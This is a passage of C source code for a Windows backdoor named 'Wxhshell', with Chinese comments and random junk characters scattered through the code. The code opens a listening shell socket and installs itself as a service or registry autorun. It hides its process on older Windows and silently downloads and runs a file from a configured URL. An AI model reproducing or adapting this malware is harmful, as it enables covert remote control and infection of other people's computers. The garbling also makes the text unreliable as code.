procName[255]; .+5;AtN unsigned long cbNeeded; &
z5:v-G? C-H6l6, if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tQ)l4Y 8 %Ybr5 $_ CloseHandle(hProcess); rE?B9BF3O n]3Z~HoZ if(strstr(procName,"services")) return 1; // 以服务启动 :#=BwdC m[hHaX return 0; // 注册表启动 Q}1qt4xy* } -#r= |wyua@2 // 主模块 SfPtG int StartWxhshell(LPSTR lpCmdLine) }s.\B
{ p@wtT"Y SOCKET wsl; A%~t[ H BOOL val=TRUE; "P$')uwE int port=0;
va!fJ struct sockaddr_in door; lN_b&92 gj82qy\: if(wscfg.ws_autoins) Install(); -'Z-8 J5}?<Dd: port=atoi(lpCmdLine); Z*.rv t a@#<qf8g if(port<=0) port=wscfg.ws_port; +#6f)H(P] R xc WSADATA data; Zk5AZ R!| if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6dYa07 iAXF;'|W if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @QDpw1;V' setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tZ:fh p door.sin_family = AF_INET; z\Z+>A door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9+~1# | door.sin_port = htons(port); =27Z Y Z '
?EG+o8 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )2R]KU_=g closesocket(wsl); srH.$Y;~ return 1; Bd[H@oKru } Kj:'Ei7 NFI~vkk'G if(listen(wsl,2) == INVALID_SOCKET) { Iz&<rL;s closesocket(wsl); '<AE%i, return 1; (mx}6A } !ozHS_ Wxhshell(wsl); 2]H?q!l!O WSACleanup();
hAD gi^ T^Hq 5Oy return 0; ?]>;Wr R_#k^P^ } O)`ye5>v \4uj!LgTb // 以NT服务方式启动 8cj}9}k VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ngzQVaB9 { GZ.KL!,R! DWORD status = 0; cpx:4R, DWORD specificError = 0xfffffff; U \jFB*U 0VIR=Pbp serviceStatus.dwServiceType = SERVICE_WIN32; |C7=$DgwY serviceStatus.dwCurrentState = SERVICE_START_PENDING; %
xBQX serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }1NNXxQ serviceStatus.dwWin32ExitCode = 0; ;s5JYR serviceStatus.dwServiceSpecificExitCode = 0; \3O1o#=( serviceStatus.dwCheckPoint = 0; ,N8SP
'R serviceStatus.dwWaitHint = 0; N^jr ;B;wU.Y" hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?*cCn-| if (hServiceStatusHandle==0) return; ~ _ko$(;A && WEBQ status = GetLastError(); r`PD}6\ if (status!=NO_ERROR) \_/dfmlIZ { MFqb_q+ serviceStatus.dwCurrentState = SERVICE_STOPPED; P}
Y .
serviceStatus.dwCheckPoint = 0; "}:SXAZ5` serviceStatus.dwWaitHint = 0; v5*JBW+c* serviceStatus.dwWin32ExitCode = status; 2D"aAI<P serviceStatus.dwServiceSpecificExitCode = specificError; 8>(/:u_x SetServiceStatus(hServiceStatusHandle, &serviceStatus); A9LVS&52 return; mh#_lbe' } au/5` 'Ge8l%p serviceStatus.dwCurrentState = SERVICE_RUNNING; GsIqUM#R serviceStatus.dwCheckPoint = 0; JY$;m3h serviceStatus.dwWaitHint = 0; yRt7&,}zL if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H)5" <=] } C%"aj^u D~ 7W // 处理NT服务事件,比如:启动、停止 j_SUR)5 VOID WINAPI NTServiceHandler(DWORD fdwControl) ]m#*4 { v+'*.Iv: switch(fdwControl) ubl)$jZ:Q { _Pn
1n case SERVICE_CONTROL_STOP: ^NO4T serviceStatus.dwWin32ExitCode = 0; 2W;2._ serviceStatus.dwCurrentState = SERVICE_STOPPED; c=p!2jJ1K~ serviceStatus.dwCheckPoint = 0; Kae-Y serviceStatus.dwWaitHint = 0; VhU,("&pm { c+:^0&l SetServiceStatus(hServiceStatusHandle, &serviceStatus); LmP pt3[ } <BK?@Xy return;
g hW case SERVICE_CONTROL_PAUSE: eqqnR.0 serviceStatus.dwCurrentState = SERVICE_PAUSED; ME*A6/h break; S4
s#EDs case SERVICE_CONTROL_CONTINUE: o>HGfr,N serviceStatus.dwCurrentState = SERVICE_RUNNING; |q
Pu*vR break; 2 e&M/{ case SERVICE_CONTROL_INTERROGATE: eCG{KCM~_Z break; mnU8i=v0A }; p+${_w>pl{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); euET)Ccq } 5`q#~fJ2 1?,C d // 标准应用程序主函数 p,7?rI\N int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xl
E0oN~{ { -a7BVEFts d5n>2iO // 获取操作系统版本 G'{&*]Z\: OsIsNt=GetOsVer(); |?ZNGPt GetModuleFileName(NULL,ExeFile,MAX_PATH); ?)7UqVyq 2fP;>0? // 从命令行安装 Ij:yTu if(strpbrk(lpCmdLine,"iI")) Install(); N: 5 N}am l$m}aQ%h // 下载执行文件 7hT@,|(j if(wscfg.ws_downexe) { @I?:x4 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j)#GoU=w WinExec(wscfg.ws_filenam,SW_HIDE); 0KjCM4t } }U|Vpgd! C4gzg if(!OsIsNt) { ~Jlq.S' // 如果时win9x,隐藏进程并且设置为注册表启动 Nf}i/ HideProc(); SA?1*dw) StartWxhshell(lpCmdLine); =D)ADZ\<r } T2|os{U else Us% _'}(/U if(StartFromService()) ?h,.1Tb // 以服务方式启动 KIY9?B=+ StartServiceCtrlDispatcher(DispatchTable); o 9d|XY_ else ul!q)cPb{ // 普通方式启动 X#o;`QM StartWxhshell(lpCmdLine); _.SpU`>/f o+Q2lO5 return 0; aTs9lr: }
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